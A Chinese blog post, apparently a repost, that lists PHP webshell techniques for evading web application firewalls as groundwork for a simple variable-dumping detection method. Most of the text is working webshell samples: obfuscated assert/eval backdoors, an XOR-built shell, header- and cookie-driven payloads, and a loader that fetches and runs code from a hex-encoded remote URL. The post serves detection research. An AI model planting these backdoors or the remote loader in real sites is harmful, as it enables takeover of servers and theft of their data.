PHP常见过WAF webshell及最简单检测方法
时间:2024年04月29日
/来源:网络
/编辑:佚名
之前在"Webshell查杀的新思路"中留了一个坑?️,当时没有找到具体找到全部变量的方法,后来通过学习找到了个打印全部量的方法,并再次学习了下PHP webshell绕过WAF的方法,以此来验证下此方法是否合理。
在那篇文章中我突然想到一种检测webshell的方法,就是首先获取到当前文件中的所有变量(不明白的可以先去看下之前的文章),然后再根据正则库进行静态检测。
自认为这种方法虽然会检测不完全(每个检测机制都不能保障全部有效),但是感觉非常简单、实用,也没那么多高深的道理。
为了验证该检测机制,首先了解下目前PHP webshell绕过WAF的方法。
常见绕过WAF的PHP webshell
字符串变形
大小写、编码、截取、替换、特殊字符拼接、null、回车、换行、特殊字符串干扰
代码语言:javascript复制
<?php
$a = base64_decode("YXNzYXNz+00000____");
$a = substr_replace($a,"ert",3);
$a($_POST['x']);
?>
ucwords()
ucfirst()
trim()
substr_replace()
substr()
strtr()
strtoupper()
strtolower()
strtok()
str_rot13()
chr()
gzcompress()、gzdeflate()、gzencode()
gzuncompress()、gzinflate()、gzdecode()
base64_encode()
base64_decode()
pack()
unpack()
自写函数
利用assert()
复制
<?php
function test($a){
$a($_POST['x']);
}
test(assert);
?>
回调函数
代码语言:javascript复制
<?php
call_user_func(assert,array($_POST[x]));
?>
call_user_func_array()
array_filter()
array_walk()
array_map()
registregister_shutdown_function()
register_tick_function()
filter_var()
filter_var_array()
uasort()
uksort()
array_reduce()
array_walk()
array_walk_recursive()
forward_static_call_array()
类
利用魔术方法、析构函数__destruct()
,__construct()
复制
<?php
class test
{
public $a = '';
function __destruct(){
assert("$this->a");
}
}
$b = new test;
$b->a = $_POST['x'];
?>
利用外部文件
利用curl
, fsockopen
等发起网络请求再结合file_get_contents
复制
<?php
error_reporting(0);
session_start();
header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))
$_SESSION['api']=substr(file_get_contents(sprintf('%s?%s',pack("H*",
'687474703a2f2f7777772e77326e31636b2e636f6d2f7368656c6c2f312e6a7067'),uniqid())),3649);
@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
?>
无字符特征马
编码、异或、自增
代码语言:javascript复制
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
?>
特殊请求头
利用getallheaders()
复制
<?php
$cai=getallheaders()['cai'];
$dao=getallheaders()['dao'];
if($cai!="" and $dao!=""){
$cai=gzuncompress(base64_decode($cai));$cai(gzuncompress(base64_decode($dao)));
}
header('HTTP/1.1 404 Not Found');
?>
全局变量
利用getenv()
,arrag_flip()
,get_defined_vars()
,session_id()
复制
import requests
url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
payload = "phpinfo();".encode('hex')
cookies = {
'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content
PHP混淆加解密
以phpjiami为例
就是将函数名、变量名全部变成"乱码",且改动任意一个地方,都将导致文件不能运行。具体可访问:https://www.phpjiami.com/
webshell检测方法
目前我所了解的webshell检测方式有:
- 机器学习检测webshell:比如混淆度、最长单词、重合指数、特征、压缩比等
- 动态检测(沙箱)
- 基于流量模式检测webshell:agent
- 逆向算法+静态匹配检测webshell:比如D盾webshell查杀
- 根据文件入度出度来检测
实例展示
这里以PHPjiami的webshell为例,其中2.php
即为phpjiama的木马
可以明显看到明显的webshell规则了,这样再用静态规则、正则等即可轻松检测到。
简单检测思路
检测思路:
文件上传->文件包含->获取所有文件中的变量到临时文件中->静态规则匹配临时文件->返回匹配结果
目录树:
代码语言:javascript复制
├── __init__.py
├── conf
│ ├── __init__.py
│ ├── config.py
├── core
│ ├── __init__.py
│ ├── all_check.py
│ ├── data_mysql.py
│ └── file_inotify.py
├── lib
│ ├── __init__.py
│ └── semantic_analysis_api.py
├── test
│ ├── __init__.py
│ ├── file_md5_move.py
│ ├── os_check.py
│ ├── random_file_test.py
│ └── ...
├── web
│ ├── static
│ │ ├── css
│ │ │ ├── main.css
│ │ ├── images
│ │ │ └── background.jpg
│ │ └── js
│ │ └── upload.js
│ ├── templates
│ │ ├── index.html
│ ├── upload_file.php
│ └── include_file_to_tmp.php
├── webshell_check.py
https://cloud.tencent.cn/developer/article/1675966?from=15425https://cloud.tencent.cn/developer/information/gzuncompress